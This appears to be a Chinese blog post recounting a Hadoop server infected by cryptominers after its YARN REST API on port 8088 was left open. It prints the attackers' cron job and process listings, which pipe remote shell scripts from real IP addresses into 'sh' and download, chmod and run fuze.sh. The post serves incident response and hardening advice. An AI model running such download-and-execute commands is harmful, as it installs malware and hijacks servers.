部署hadoop后感染挖矿病毒
今天在做云计算的实验中,在一台机器上开放了8088端口,过了几个小时后突然发现服务器有异常的大量上传流量,并且CPU跑满,其中一个高占用进程为 kdevtmpfsi,kill掉该进程后,没多久进程会重启。
首先检查 hadoop用户的定时任务,发现
* * * * * wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1
systemctl status 29239
查看父进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| hadoop@master:/tmp$ systemctl status 29239
● session-1343.scope - Session 1343 of user hadoop
Loaded: loaded (/run/systemd/transient/session-1343.scope; transient)
Transient: yes
Active: active (abandoned) since Fri 2021-06-11 03:51:54 CEST; 7h ago
Tasks: 134
Memory: 3.1G
CGroup: /user.slice/user-1000.slice/session-1343.scope
├─ 3448 bash /tmp/hadoop-hadoop/nm-local-dir/usercache/dr.who/appcache/application_1623376325436_0007/container_1623376325436_0007_01_000001/default_container_executor.sh
├─ 3451 /bin/bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://205.185.115.164/fuze.sh; chmod 777 fuze.sh; sh fuze.sh; tftp 205.185.115.164 -c get tftp1.sh; chmod
├─ 3461 sh fuze.sh
├─ 3716 su
├─ 4774 /tmp/kinsing
├─ 4792 bash /tmp/hadoop-hadoop/nm-local-dir/usercache/dr.who/appcache/application_1623376325436_0007/container_1623376325436_0007_02_000001/default_container_executor.sh
├─ 4795 /bin/bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://205.185.115.164/fuze.sh; chmod 777 fuze.sh; sh fuze.sh; tftp 205.185.115.164 -c get tftp1.sh; chmod
├─ 4804 sh fuze.sh
├─ 5091 su
├─29239 /tmp/kdevtmpfsi
└─29883 /usr/lib/jvm/java-11-openjdk-amd64//bin/java -Dproc_nodemanager -Djava.net.preferIPv4Stack=true -Dyarn.log.dir=/opt/hadoop-3.2.2/logs -Dyarn.log.file=hadoop-hadoop-nodemanager-vmi5
|
清除了定时任务并删除了下载到tmp中的病毒程序,再kill掉异常进程(kdevtmpfs和kinsing)后恢复正常 (当时我没有马上对8088端口设置ip白名单,结果几分钟后又被上传了新任务)
出现这个问题的原因大概如下
注意:YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何***则就均可利用其进行远程命令执行,从而进行挖矿等行为,***直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的,因此注意并启用Kerberos认证功能,禁止匿名访问修改8088端口
攻击者提交任务执行了一个脚本,下载了挖矿程序。
一下午的时间有好几个攻击者,有人从服务器上下载了大量的数据,有人下载了挖矿病毒,还有人创建定时任务。看来这个漏洞关注的人是非常的多,也是绝了。
复现步骤如下:
https://segmentfault.com/a/1190000015264170
没想到有这么大的一个问题,而且从部署到被利用不过几个小时的事件,看来向公网暴露端口之前对风险要有一定的了解才行。
https://blog.51cto.com/hashlinux/2296233
https://neerajsabharwal.medium.com/hadoop-yarn-hack-9a72cc1328b6